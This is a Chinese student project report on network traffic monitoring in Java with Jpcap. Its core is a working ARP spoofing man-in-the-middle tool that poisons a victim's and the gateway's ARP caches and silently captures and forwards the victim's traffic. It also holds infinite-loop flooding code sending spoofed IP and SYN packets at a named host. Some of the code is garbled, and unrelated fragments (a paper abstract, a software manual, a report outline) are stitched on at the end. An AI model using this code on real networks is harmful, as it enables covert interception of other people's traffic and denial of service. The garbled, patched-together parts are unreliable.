网络流量监控

网络流量监控
网络流量监控

网络流量监控

组长:李天翼 组员:

网络流量监控:主要实现了在局域网中,使用路由器上网,能够把整个局域网的计算机的据

包,截获然后转发,根据截获的数据包,来进行流量的监控。进一步能够实现对流量的控制。

在java 程序中要实现数据包截获,转发等操作必须了解一下JPCAP 。 JPCAP :

1.Jpcap 类库介绍

1.1 Jpcap 的使用

Jpcap 是2003年日本开发的一套能够捕获、发送网络数据包的java 类库。因为核心Java API 不能访问底层的网络数据,但Jpcap 是一种提供在Windows 或UNIX 系统上进行这种访问的Java API 。Jpcap 不是一种纯粹的Java 解决方案,它依赖本地库的使用。在Windows 或 UNIX 上,你必须有必要的第三方库,分别是WinPcap 或libpcap 。要在java 中使用Jpcap 类库需要安装Jpcap 的运行和开发环境。

1.2 Jpcap 介绍

Jpcap 类库的基本结构如下图:

Jpcap 类库结构

1.2.1 Packet 基类及其子类

Packet 这个类是所有被捕获的数据包的基类,可以提供被捕获数据包的长度,被捕获数

据包的时间标记等基本信息。

ARPPacket 和IPPacket 是继承Packet 的子类,它们将被捕获包分成两类。

ARPPacket

按照ARP数据报的内容,将其各数据段的数据取出。IPPacket则被分得更细。这两个类主要与是与数据链路层密切相关的,其与MAC地址相关的信息在EthemetPacket类中表示出来。EthemetPacket是从DatalinkPacket继承而来的。

IPPacket下有三个子类,分别是ICMPPacket、TCPPacket、UDPPacket。这三个类分别表示的是被存储在IP数据报的报文中发送的ICMP、TCP、UDP报文。

1.2.2 Jpcap的主要功能

Jpcap提供了十分方便的数据包捕获方法。Jpcap使用一个事件模型来处理包。首先,必须创建一个执行接口jpcap.JpcapHandler的类。

public class Jpcaphandler implements JpcapHandler {

public void handlePacket(Packet packet){

System.out.println(packet);

}

}

为了捕获包,需要让Jpcap知道要用哪个网络设备来监听。API提供了jpcap.Jpcap.getDeviceList()方法以满足这一目的。这个方法返回一列字符串,可以按一下方法如下使用它:

String[] devices = Jpcap.getDeviceList();

一旦有了一个设备名称的目录,只要从其中选取一个用来监听:

String deviceName = devices[0];

选择一个设备之后,通过Jpcap.openDevice()方法打开它。openDevice()方法需要四个参数:即将打开的设备名,从设备上一次读取的最大字节数,说明是否将设备设为混杂模式的Boolean值,和以后调用processPacket()方法要使用到的超时值。

Jpcapjpcap = Jpcap.openDevice(deviceName, 1024, false, 10000);

openDevice()方法将一个参数返回到用以捕获的Jpcap对象。既然有了Jpcap实例,你可以调用processPacket() 或loopPacket()开始监听了。这两种方式都带有两个参数:捕获的最大包数可以是-1(说明没有限制);执行JpcapHandler的一个类的实例。

如果你调用processPacket(),那么Jpcap将一直捕获包,直到超过openDevice中规定的时限

或达到了规定的最大包数。loopPacket()则将一直捕获包,直到达到最大包数,如果没有最大数限制,它将永远运行下去。就像下面这样调用:

jpcap.loopPacket(-1, new Jpcaphandler());

对于捕获的数据包,可以利用Jpcap中的Packet及其子类进行分类分析,获得数据包的详细信息。

Jpcap还有进行数据包过滤的函数setFilter(https://www.360docs.net/doc/fe10244291.html,ng.String condition, boolean optimize)。其中condition是过滤条件。在进行数据包捕获前设置过滤条件,可以将不感兴趣的数据包剔除。

jpcap.setFilter("host 210.212.147.149",true);

因为Jpcap对数据包进行了分类,而数据包中的关键字段也有接口调用,所以在设置过滤条件时也可以在利用这些条件进行更细致的分类。这将在后面的章节中介绍。

Jpcap还提供了用来发送数据包的一个类JpcapSender,可以用来发送IPPacket及其子类,包括IPPacket、ICMPPacket、TCPPacket、UDPPacket。定义好一个相应的包后,就可以利用sendPacket函数发送数据包。

JpcapSender sender=JpcapSender.openDevice(Jpcap.getDeviceList()[0]);

sender.sendPacket(p); //send a packet

上面是对JPCAP的基本介绍。这是这个程序的基础。

2.数据包监听原理

网络监听是指利用计算机的网络接口截获目的地为第三方计算机的数据报文的一种技术。利用这种技术可以监听网络的当前流量状况;网络程序的运行以及非法窃取网络中传输的机密信息。

在共享式以太网中,所有的通讯都是广播的,也就是说通常在同一网段的所有网络接口都可以访问在物理媒体上传输的所有数据,使用ARP和RARP协议进行相互转换。在正常的情况下,一个网络接口应该只响应两种数据帧:与自己硬件地址相匹配的数据帧和发向所有机器的广播数据帧。在一个实际的系统中,数据的收发由网卡来完成。每个以太网卡拥有一个全球难一的以太网地址。以太网地址是一个48位的二进制数。在以太网卡中内建有一个数

据报过滤器。该数据报过滤器的作用是保留以本身网卡的MkC地址为通讯目的的数据报和

广播数据报,丢弃所有其它无关的数据报,以免除CPU对无关的数据报作无谓的处理。这是以太网卡在一般情况下的工作方式。在这种方式下,以太网卡只将接收到的数据报中与本机有关部分向上传递。然而数据报过滤器是可以通过编程禁用的。禁用数据报过滤器后,网卡将把接收到的所有的数据报向上传递,上一层的软件因此可以监听以太网中其它计算机之间的通讯。我们称这种工作模式为“混杂模式”。多数网卡支持“混杂模式”,而该模式还是微软公司的“pC99”规范中对网卡的一个要求。

网卡的“混杂模式”使得采用普通网卡作为网络探针,实现网络的侦听变得非常容易。一方面方便了网络管理,另一方面,普通用户也能轻易地侦听网络通讯,对用户的数据通讯保密是一个很大的威胁。

在进行此种方式的数据监听时,是在网络的节点处设置网络设备为混杂模式,进行数据监听管理网络;黑客则是利用ARP侦探网络上出于混杂模式的网络节点并将黑客软件放置在节点处进行窃听的。

还有一种窃听方式是利用ARP欺骗达到的。ARP欺骗又被称为ARP重定向技术,ARP地址解析协议虽然是一个高效的数据链路层协议,但是作为一个局域网的协议,它是建立在各主机之间互相信任基础之上的,因此存在一定的安全问题:(1)主机地址映射表是基于高速缓存动态更新的,这是ARP协议的特色,也是安全问题之一。由于正常的主机间MAC地址刷新都是有时限的,这样假冒者如果在下次更新之前成功的修改了被攻击机器上的地址缓存,就可以进行假冒。(2)ARP请求以广播方式进行。这个问题是不可避免的,因为正是由于主机不知道通信对方的MAC地址,才需要进行ARP广播请求。这样攻击老就可以伪装ARP应答,与广播者真正要通信的机器进行竞争。还可以确定子网内机器什么时候会刷新MAC地址缓存,以确定最大时间限度的进行假冒。(3)可以随意发送ARP应答包。由于ARP协议是无状态的,任何主机即使在没有请求的时候也可以做出应答,只要应答有效,接收到应答包的主机就无条件的根据应答包的内容更新本机高速缓存。(4)ARP应答无需认证。由于ARP协议是一个局域网协议,设计之初,出于传输效率的考虑,在数据链路层就没有作安全上的防范。在使用ARP协议交换MAC地址时无需认证,只要收到来自局城网内的ARP应答包,就将其中的MAC/IP对刷新到本主机的高速缓存中。

ARP重定向的实施办法是根据以上ARP地址解析协议的安全漏洞,进行网络信息包的截获以及包的转发攻击活动,步骤如下:(1)把实施攻击的主机的网卡设置为混杂模式。(2)在实施攻击的主机上保持一个局域网内各个IP/MkC包的对应列表,并根据截获的IP包或者ARP包的原IP域进行更新。(3)收到一个IP包之后,分析包头,根据IP包头里的IP目的地址,

找到相应的MAC地址。(4)将本机的MAC地址设成原MAC地址,将第二步查到的MAC地址作为目的MAC地址,将收到的IP包发送出去。通过以上的重定向,攻击者使网络数据包在经过攻击者本身的主机后,转发到数据包应该真正到达的目的主机去,从而具有很强的欺骗性。

本文中采用的是第二种方法,即在共享以太网中通过ARP欺骗,监听整个以太网的数据包。

ARP欺骗的详细原理:

局域网监听利用的是所谓的“ARP欺骗”技术。在以前曾经一段阶段,局域网的布局是使用总线式(或集线式)结构,要到达监听只需要将网卡设定为混杂模式即可,但现在的局域网络普遍采用的是交换式网络,所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了达到监听的目的,我们需要“欺骗”路由器、“欺骗”交换机,即“ARP欺骗”技术。

假设本机为A,监听目标为B。

首先,伪造一个ARP REPLY包,数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址,而源IP部分填入网关IP,目的地址填入B的MAC、IP,然后将这个包发送给B,而B接收到这个伪造的ARP REPLY包后,由于源IP为网关IP,于是在它的ARP缓存表里刷新了一项,将(网关IP,网关MAC)刷新成(网关IP,A的MAC)。而B要访问外部的网都需要经过网关,这时候这些要经过网关的包就通通流到A的机器上来了。

接着,再伪造一个ARP REPLY包,数据链路层头及ARP内容部分的源MAC

地址填入A的MAC地址,而源IP部分填入B的IP,目的地址填入网关MAC、IP,然后将这个包发给网关,网关接收到这个伪造的ARP REPLY包后,由于源IP为B的IP,于是在它的ARP缓存表里刷新了一项,将(B的IP,B的MAC)刷新成(B的IP,A的MAC)。这时候外部传给B的数据包经过网关时,就通通转发给A。

这样还只是拦截了B的数据包而已,B并不能上网——解决方法是将接收到的包,除了目的地址部分稍做修改,其它原封不动的再转发出去,这样就达到了监听的目的——在B不知不觉中浏览了B所有的对外数据包。

ARP数据包解析

单元:Byte

2.用JPCAP实现监听

就如上面说的,为了实现监听,我们必须做四件事:

A.发送ARP包修改B的ARP缓存表;

B.发送ARP包修改路由ARP缓存表;

C.转发B发过来的数据包;

D.转发路由发过来的数据包

3.程序详细设计

这个程序主要就是发送ARP数据包,欺骗路由器。

1.要知道整个局域网内IP地址范围。

对于这个问题,我们首先要知道局域网的子网掩码,和网关地址,然后通过这两个部分获取整个局域网内能够设置的IP地址。

获取子网掩码,调用系统的ipconfig/all命令就能够获取到子网掩码

public String SubnetMask()

{

String mask;

exec="cmd /c ipconfig /all"; //获取子网掩码

Run();

try

{

while(true)

{

String s;

s=br.readLine();

if(s==null) break;

if(s.contains("Subnet Mask"))

{

m ask=s.substring(s.indexOf(": ")+2);

return mask;

}

}

}

catch(IOException ex)

{

ex.printStackTrace();

}

return null;

}

1.获取网关地址,调用熊的IPCONFIG/ALL命令就能够获取网关IP。

2.然后通过子网掩码,与上网关地址,就能够获取开始以及结束IP地址了。

2.获取存活的计算机。

获取存活的IP地址

1.可以使用InetAddress的ISRESEARCH()函数来判定这个IP地址是否能够PING通。

但是有时候不能够准确的确定该IP地址的存活。因此我没有使用这个函数来确定,是否存活。

2.我调用了系统自带的PING命令来判定该IP地址是否存活。

在这其中使用过了线程池来调用PING 命令来判断IP地址存活。

如果不使用多线程来PING,程序速度将会很慢,因此我使用了多线程,

要寻找出所有的IP地址,就要使用多线程来PING,否则速度很慢。

线程池类为 java.util.concurrent.ThreadPoolExecutor ,常用构造方法为:

ThreadPoolExecutor(int corePoolSize, int maximumPoolSize,

long keepAliveTime, TimeUnit unit,

BlockingQueue workQueue,

RejectedExecutionHandler handler)

corePoolSize :线程池维护线程的最少数量

maximumPoolSize :线程池维护线程的最大数量

keepAliveTime :线程池维护线程所允许的空闲时间

unit :线程池维护线程所允许的空闲时间的单位

workQueue :线程池所使用的缓冲队列

handler :线程池对拒绝任务的处理策略

一个任务通过 execute(Runnable) 方法被添加到线程池,任务就是一个 Runnable 类型的对象,任务的执行方法就是 Runnable 类型对象的run() 方法。

当一个任务通过execute(Runnable) 方法欲添加到线程池时:

l 如果此时线程池中的数量小于corePoolSize ,即使线程池中的线程都处于空闲状态,也要创建新的线程来处理被添加的任务。

l 如果此时线程池中的数量等于 corePoolSize ,但是缓冲队列 workQueue 未满,那么任务被放入缓冲队列。

l 如果此时线程池中的数量大于corePoolSize ,缓冲队列workQueue 满,并且线程池中的数量小于maximumPoolSize ,建新的线程来处理被添加的任务。

l 如果此时线程池中的数量大于corePoolSize ,缓冲队列workQueue 满,并且线程池中的数量等于maximumPoolSize ,那么通过 handler 所指定的策略来处理此任务。也就是:处理任务的优先级为:核心线程corePoolSize 、任务队列workQueue 、最大线程maximumPoolSize ,如果三者都满了,使用handler 处理被拒绝的任务。

l 当线程池中的线程数量大于 corePoolSize 时,如果某线程空闲时间超过keepAliveTime ,线程将被终止。这样,线程池可以动态的调整池中的线程数。

unit 可选的参数为java.util.concurrent.TimeUnit 中的几个静态属性:NANOSECONDS 、

MICROSECONDS 、

MILLISECONDS 、

SECONDS 。

workQueue 常用的是:java.util.concurrent.ArrayBlockingQueue

handler 有四个选择:

ThreadPoolExecutor.AbortPolicy()

抛出java.util.concurrent.RejectedExecutionException 异常

ThreadPoolExecutor.CallerRunsPolicy()

重试添加当前的任务,他会自动重复调用execute() 方法

ThreadPoolExecutor.DiscardOldestPolicy()

抛弃旧的任务

ThreadPoolExecutor.DiscardPolicy()

抛弃当前的任务

https://www.360docs.net/doc/fe10244291.html,/waterbig/archive/2009/11/10/4794214.aspx for( i=example.get_start();i<=example.get_end();i++)

{

threadPool.execute(new alive(i,example.get_start()));

}

这个循环将一个一个线程全部将线程加入线程池,然后交给线程池管理线程的运行。

3.当寻找出所有存活的IP地址以后,通过nbtstat –a Ip这条命令找出所有存活的IP

的MAC地址。

public String[] op_address(String ip)

{

int flag=1;

String[] adr=new String[2];

exec="nbtstat -a ";

exec=exec+ip;

Run();

try

{

while(true)

{

String s;

s=br.readLine();

if(s==null) break;

if(flag==1&&s.contains("UNIQUE")&&s.contains("Registered"))

{

flag=0;

adr[1]=s.substring(s.indexOf("UNIQUE Registered")-21,s.indexOf("UNIQUE Registered")-7);

}

if(s.contains("MAC Address"))

{

adr[0]=s.substring(s.indexOf("= ")+2);

return adr;

}

}

}

catch(IOException ex)

{

ex.printStackTrace();

}

return null;

}

构造发送IP数据包

IP数据包的构造,主要是IP报文段的构造。在Jpcap中提供的函数为setIPv4Parameter。利用这个函数,可以十分方便的进行IP数据包的构造,它的各个参数的含义如下:服务类型设置:d_flag - IP flag bit: [D]elay 表示要求有更低的时延

t_flag - IP flag bit: [T]hrough 表示要求有更高的吞吐量

r_flag - IP flag bit: [R] eliability 表示要求更高的可靠性

rsv_tos - Type of Service (TOS) 服务类型

优先权:priority – Priority

数据偏移设置:rsv_frag - Fragmentation Reservation flag 有无碎片标识

dont_frag - Don't fragment flag 末尾碎片标识

more_frag - More fragment flag 尚有碎片表示

offset – Offset 数据块偏移

IP数据报识别标志:ident – Identifier 上层协议调用

生存时间:ttl - Time To Live

上层协议类型:protocol - Protocol

源IP:src - Source IP address

目的IP:dst - Destination IP address

在下面的程序中发送出去的是一个从伪造IP向被攻击主机,协议号为230(未分配)的IP数据报。

import jpcap.*;

class ipnoprotocol {

public static void main(String[] args) throws java.io.IOException {

JpcapSender sender=JpcapSender.openDevice(Jpcap.getDeviceList()[0]);

//build packet

IPPacket ipp= new IPPacket();

ipp.setIPv4Parameter(0,false,false,false,0,false,false,false,0,0,255,

230, //230未定义协议

new IP Address(110.110.17.101),

new IPAddress("210.40.7.149"));

ipp.data="".getBytes();

//send packet

while(true) {

sender.sendPacket(ipp);

}

}

}

发送结果分析

在局域网内的某主机上运行编译好的ipnoprotocol程序,攻击IP为210.40.7.149的主机。这时,可以在被攻击主机上发现CPU利用率显著上升,也就是操作系统资源被消耗掉了。同时在局域网内另一台主机上进行数据包捕获,可以获得如下一组数据包:IP包1:110.110.17.101–>210.40.7.149 TTL:255 Protocol:unknow(230)

IP包2:110.110.17.101–>210.40.7.149 TTL:254 Protocol:unknow(230)

ICMP包:210.40.7.149–>110.110.17.101 type:3 code:2

可以看到带有非正常协议的IP数据包到达了目的主机,主机对此进行了回执。具体的过程是发送的数据包为IP包1,先经过路由器,TTL衰减一次,成为IP包2,到达数据包目的地-IP为210.40.7.149的主机。这时由于IP数据报中的协议字段为未知协议,但IP校验和无误,因此系统不会丢弃数据包,但也无法确定要把此IP数据报往上层的哪个应用程序接收。系统认为此IP数据报的协议没有被传送或不支持此协议,便发送一个指向伪IP(110.110.17.101)的ICMP包。ICMP中字段type为3表示IP数据报到达不了接收端,code 为2表示是协议无法到达。

如果构造一个正常的IP数据报,协议字段写入已定义的上层字段,如TCP协议或ICMP 协议,就需要构造TCP数据报或ICMP数据报等相应数据段。而如果不进行相应协议数据报的构造或直接置空,则发送数据包到达目的主机后将会被舍弃,系统不进行任何处理。

由此可以看出,因为IP数据报中的协议字段只对首部进行检验,所以只要保证首部无误就可以进行数据包传送。而在协议字段中代表的协议编号目前并没有全部分配,恶意构造含有

未分配协议字段的IP数据报对目的主机发送,会使得接收主机的系统资源大量耗费,甚至当机。

构造发送TCP数据包:

TCP数据报是被封装在IP数据报的数据段中的,要发送TCP数据包,必须先构造IP 数据报,然后构造TCP数据报,将其发入IP数据包的数据段,进行发送。构造TCP数据报在Jpcap中利用TCPPacket类直接构造。各个变量的含义如下:

TCPPacket (int src_port, 源IP

int dst_port, 目的IP

long sequence, 顺序号

long ack_num, 确认号

boolean urg, 紧急数据标志

boolean ack, 确认号有效标志

boolean psh, 传送强制功能标志

boolean rst, 请求连接重设标志

boolean syn, 请求顺序号同步处理标志

boolean fin, 发送结束标志

boolean rsv1, RSV1标志

boolean rsv2, RSV2标志

int window, 窗口大小

int urgent) 紧急数据指针

构造TCP数据包要保证校验和正确,才能被正确传送。由于TCP数据报的校验和字段在Jpcap中被封装,所以无法实现正确TCP数据包的传输。校验和不正确的数据包还是可以在网络中传输的,但无法被接收。

//发送TCP数据包

import jpcap.*;

class tcp{

public static void main(String[] args) throws java.io.IOException{

JpcapSender sender=JpcapSender.openDevice(Jpcap.getDeviceList()[0]);

//build tcpPacket

TCPPacket p;

p= new TCPPacket(80,237,123,0,false,false,false,false,true,false,false,false,1024,0);

p.setIPv4Parameter(0,false,false,false,0,true,false,false,2,1,255,6,

new IPAddress(virip[i]),new IP Address("210.40.7.149"));

p.data="".getBytes();

while(true){

sender.sendPacket(p[j]);

}

}

}

5.2.2 发送结果分析

上一小节中构造了一个标识为SYN的TCP包,其中包含错误的校验和。将TCP包放入到伪装的IP报文的数据段。其中的源IP为伪造IP,目的IP为同局域网中的一真实IP,然后在主机A进行发送。预测结果是形成无用数据包,仅造成网络阻塞。在以太网主机B 中进行数据包捕获,发现每发送一个数据包,可以捕获到两个类似的数据包,数目增加了一倍。

经过研究发现,两个数据包并非完全一样,其以太网帧中的源MAC地址和目的MAC 地址并不相同。主机A发送的数据包其源MAC地址为本机MAC地址,目的MAC地址为以太网网关MAC地址;另一数据包源MAC地址为网关MAC地址,目的MAC地址为原来要发送目的主机的MAC地址。这种情况发生在伪装IP不是内部IP的情况下,当伪装为内部IP时并没有这种情况。

经过仔细分析,发现在发送IP数据包前进行以太网帧的打包时,系统会先进行询问源IP所在位置的MAC地址为多少的ARP请求,此时如果得不到应答,此数据包直接被丢弃。如果有应答,则按源IP分为两种情况。源IP为内网IP则将MAC地址放在目的MAC地址进行发送。此时因为TCP校验和错误,到达后数据包被丢弃,但可以捕获到一次数据包发送。源IP为外部,则将数据包目的MAC地址赋值为目的MAC地址进行发送。当数据包到达网关时,网关对目的IP进行检查,发现为内部IP,于是将目的MAC地址改为要发送IP 地址的正确MAC地址,向内网发送。此时,在网关不会进行TCP校验和的检验。于是在局域网内便捕获到两次发送的数据包。在网关的帮助下,数据包被重复发送了一次,使无用

数据包被加倍,这样就使得网络充斥着加倍的无用数据包,带宽被降低。

4.最关键的部分,也是整个程序最重要的地方,就是构造ARP包,来欺骗主机,以及网关。

首先构造ARP包

public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)

throws UnknownHostException,InterruptedException {

this. targetMAC = targetMAC;

this. targetIp = targetIp;

this. gateMAC = gateMAC;

this. gateIp = gateIp;

getDevice();

arpTarget = new ARPPacket();

//修改B的ARP表的ARP包

arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;

//选择以太网类型(Ethernet)

arpTarget.prototype = ARPPacket.PROTOTYPE_IP

; //选择IP网络协议类型

arpTarget.operation = ARPPacket.ARP_REPLY;

//选择REPLY类型

arpTarget.hlen = 6

; //MAC地址长度固定6个字节

arpTarget.plen = 4;

//IP地址长度固定4个字节

arpTarget.sender_hardaddr = device.mac_address;

//A的MAC地址

arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress();

//网关IP

arpTarget.target_hardaddr = targetMAC;

//B的MAC地址

arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress();

//B的IP

EthernetPacket ethToTarget = new EthernetPacket();

//创建一个以太网头

ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;

//选择以太包类型

ethToTarget.src_mac = device.mac_address;

//A的MAC地址

ethToTarget.dst_mac = targetMAC;

//B的MAC地址

arpTarget.datalink = ethToTarget;

//将以太头添加到ARP包前

arpGate = new ARPPacket();

//修改网关ARP表的包

arpGate.hardtype = ARPPacket.HARDTYPE_ETHER

; //跟以上相似,不再重复注析

arpGate.prototype = ARPPacket.PROTOTYPE_IP;

arpGate.operation = ARPPacket.ARP_REPLY;

arpGate.hlen = 6;

arpGate.plen = 4;

arpGate.sender_hardaddr = device.mac_address;

arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();

arpGate.target_hardaddr = gateMAC;

arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();

EthernetPacket ethToGate = new EthernetPacket();

ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;

ethToGate.src_mac = device.mac_address;

ethToGate.dst_mac = gateMAC;

arpGate.datalink = ethToGate;

然后对每一个存活的ip地址发送ARP包。

thread=new Thread(new Runnable(){

//创建一个进程控制发包速度

public void run() {

while (true) {

sender.sendPacket(arpTarget);

sender.sendPacket(arpGate);

Thread.sleep(500);

}).start();

在这里要创建一个进程来发送ARP包。因为ARP表每隔一段时间就要刷新一次,因此程序要隔一段时间就发送一个ARP包。来更新ARP缓存表。

4.到了这里整个ARP欺骗就已经完成了,可以自由的获取想要获取的IP地址的数据包了流量分析

在能够获取以太网上的数据包后,进行流量分析是十分必要的。通常的网络数据流量的测量方法是按照一定的时间间隔得出一个平均负载。所以首先要获得数据包大小的数据再进

行进一步的计算。

new flux();

try

{

//获取设备的链接

getDevices();

}

catch (IOException e)

{

e.printStackTrace();

}

//定义一个IPPACKET数据包

IPPacket ipPacket = null;

//第一一个日期

Date time = new Date();

long now,before;

//获取当前时间,以毫秒表示

now = time.getTime();

before = now;

while(true)

{

time = new Date();

now = time.getTime();

//2秒刷新一次流量

if(now - before >= 2000)

{

tf_upload.setText(String.valueOf(paket_flux_upload));

tf_download.setText(String.valueOf(paket_flux_download));

before = now;

//System.out.println(paket_flux_upload/2048+" " +

paket_flux_download/2048);

paket_flux_upload = 0;

paket_flux_download = 0;

}

//截取数据包

ipPacket =(IPPacket)Captor.getPacket();

//System.out.println(ipPacket);

}

数据包大小的表示

数据包的大小在Jpcap的Packet类中有直接的字段来表示,单位为字节。Packet类是可以包含所有被捕获包类型的,只要进行连续的数据包监听,那几乎所有的网络数据包都会捕获并在Packet类中存放其长度。

long packet_flux=packet.len;

这只是一个数据包的长度,只要再将每秒中数据报长度进行累加就可以得到这一秒的平

均流量,修改为:

long packet_flux+=packet.len;

时间利用java.util中的date类来控制,每一秒得到数据包累加结果后,进行一次输出。

40303 35601 22767 62 44728 27378 23667 31671 1514 33321

上面是随机取得的连续十次每秒数据包流量。因为流量分析是进行统计,数据并不需要完全的精确,而且如果采用字节/秒为单位也不方便,因此采用千字节/秒的单位,上述数据处理得到如下结果:

40 37 23 0 45 27 24 32 2 33

这时的网络是出于空闲状态,其中的数据包主要是一些广播的ARP数据包。当网络繁忙时,再取得一组数据如下:

830 768 838 854 988 1139 1170 1174 1141 1157 1084

这是在以太网内部进行文件传输时得到的数据,这时可以利用这些数据进行更直观的图形显

示或其他相关操作。

在接收到数据包以后,还要将数据包转发。否则将会使局域网的计算机无法上网。

转发的代码:

private void send(Packet packet, byte[] changeMAC)

{

EthernetPacket eth;

if (packet.datalink instanceof EthernetPacket)

{

eth=(EthernetPacket) packet.datalink;

eth.dst_mac = changeMAC;

//修改包以太头,改变包的目标

eth.src_mac = device.mac_address;

//源发送者为本机

packet.datalink = eth;

sender.sendPacket(packet);

接收数据包的代码:

ipPacket =(IPPacket)Captor.getPacket();

//System.out.println(ipPacket);

if(ipPacket!=null)

{

//若目的地址是目标IP的数据包则转发给网关

if (ipPacket.src_ip.getHostAddress().equals(TtargetIP))

{

send(ipPacket, TgateMAC);

//累加到总流量

paket_flux_upload += ipPacket.len;

}

//若是源地址是目标机器的MAC地址则转发给目标机器

else if(ipPacket.dst_ip.getHostAddress().equals(TtargetIP)) {

send(ipPacket, TtargetMAC);

//累加到总流量

paket_flux_download += ipPacket.len;

}

}

}

}

总结:这就是整个ARP欺骗的数据包欺骗,以及获取数据包,转发数据包的核心代码。

软件结构:

用例图:

用户主要有两个用例,一个是监控流量,一个是控制流量,还有一个就是ARP欺骗。ARP欺骗的活动图:

视频系统网络流量的监测与控制

视频系统网络流量的监测与控制 摘要:视频系统的应用给网络容量带来巨大压力,为避免网络阻塞,对视频系统网络流量的监测与控制非常重要。使用开源监控软件Cacti,可以搭建一个出色的网络流量监测平台。使用流媒体技术传输视频,能够降低视频系统流量。在交换机上使用ACL限制视频的访问,既能达到控制网络流量的目的,又能为视频系统安全提供保障。组播技术在视频传输上有绝对优势,使用组播进行视频传输是流量控制的最佳方案。 关键词:视频系统,网络流量,Cacti,流媒体,组播技术 The network traffic Monitoring and control of Video system LI Chao LU Huaqing (Daqing oilfield co., LTD. The first production plant's the information center 163001,lichao_a @https://www.360docs.net/doc/fe10244291.html,) (Daqing oilfield co., LTD. The first production plant's the information center 163001luhuaqinga @https://www.360docs.net/doc/fe10244291.html,) Abstract: The application of video system bring great pressure to network capacity, to avoid network congestion, network traffic monitoring and control of video system is very important. Using open source monitoring software Cacti, can build a good platform for the network traffic https://www.360docs.net/doc/fe10244291.html,ing Streaming Media Technology, can reduce network traffic video https://www.360docs.net/doc/fe10244291.html,ing acl Technology restricted access to video on switches, can not only achieve the goal of control network traffic, and to provide assurance that video system security.Multicast technology in video transmission has absolute advantages, the use of multicast transmission of video is the best solution for network flow control. Keywords: video system, network flow, Cacti, Streaming Media, Multicast technology. 1、引言

天易成流量监控软件企业版功能及使用方法

天易成流量监控软件企业版功能及使用方法 一、天易成流量监控软件企业版功能简介 注意:免费用户可以使用此版本管理一台电脑。 主要功能:监视被控电脑的文件操作;电脑屏幕实时监控;查看和结束任意软件;给被管理电脑发送弹出窗口信息;监视阿里旺旺聊天内容;禁用USB网卡和各种随身WIFI;禁用USB 存储设备(U盘/USB移动硬盘光驱等);禁止运行预设软件:有效防止玩单机和局域网游戏等。 二、天易成流量监控软件企业版使用方法 1、防火墙设置 注:天易成流量监控软件监控电脑时,需要开放TCP:8900端口。 其他防火墙类似如下设置:微软防火墙设置:控制面板-Windows防火墙-高级设置-入站规则-右键-新建规则-端口-TCP-本地特定端口填“8900”,其余选默认值,最后起一个名称,完成。 2、安装内网管理插件 下载https://www.360docs.net/doc/fe10244291.html,/Download/TYCLanMonitor.zip到被管理电脑安装;

3、新建一个内网管理策略:启用内网监控功能。如下图: 4、开始管理 选中要内网管理的电脑-右键-设置策略-选择刚才新建的内网管理策略;稍等10几秒,待安装内网管理的电脑就显示联机,即可使用企业版功能。 5、插件卸载 内网管理插件不会生成桌面图标、开始菜单及控制面板卸载项。卸载时,在安装插件电脑上运行C:\Program Files (x86)\TYCSoft\TYCLanMonitor\uninst.exe,卸载内网管理插件即可。 三、天易成流量监控软件企业版功能详解 1、天易成流量监控软件电脑屏幕实时监控 最多同时监控16台电脑屏幕。使用Ctrl键或Shift键选中要监控的电脑,右键选择“显示屏幕(企业版功能)”。 双击被监控的单个电脑,屏幕会放大显示,再次双击恢复显示。 新增监控:在天易成流量监控软件的主机列表里选中要监控的电脑,同上操作即可。 2、发送消息 在所有主机列表选中电脑,右键选择“发送消息(企业版功能)”,在弹出的对话框里输入

网络流量在线分析系统的设计与实现

综合实训报告 题目:网络流量在线分析系统的设计与实现

信息学院计算机科学系 目录 一、实训目的 (3) 二、实训内容 (3) 三、主要设备及环境 (3) 四、设计与步骤 (4) 五、过程与调试 (22) 六、整理与小结 (23) 七、参考文献 (24) 八、附录 (25)

一、实训目的 设计并实现一个网络流量的分析系统。该系统具有以下功能:(1)实时抓取网络数据。(2)网络协议分析与显示。(3)将网络数据包聚合成数据流,以源IP、目的IP、源端口、目的端口及协议等五元组的形式存储。(4)计算并显示固定时间间隔内网络连接(双向流)的统计量(如上行与下行的数据包数目,上行与下行的数据量大小等)。在这些统计数据的基础上分析不同网络应用的流量特征。 二、实训内容 (1)能够实时抓取网络中的数据包。并实时显示在程序界面上。用户可自定义过滤条件以抓取所需要的数据包。 (2)分析各个网络协议格式,能够显示各协议字段的实际意义。例如,能够通过该程序反映TCP三次握手的实现过程。 (3)采用Hash链表的形式将网络数据以连接(双向流)的形式存储。 (4)计算并显示固定时间间隔内网络连接(双向流)的统计量(如上行与下行的数据包数目,上行与下行的数据量大小等)。例如,抓取一段时间(如30分钟)的网络流量,将该段时间以固定时长(如1分钟)为单位分成若干个时间片,计算网络连接在每一个时间片内的相关统计量。并在上述统计数据的基础上分析不同应用如WEB、DNS、在线视频等服务的流量特征。注意,可根据实际的流量分析需要自己定义相关的统计量。 三、主要设备及环境 硬件设备: (1)台式计算机或笔记本计算机(含网络适配器) 软件设备: (2)Windows操作系统 (3)网络数据包捕获函数包,Windows平台为winpcap

网络流量分析解决方案

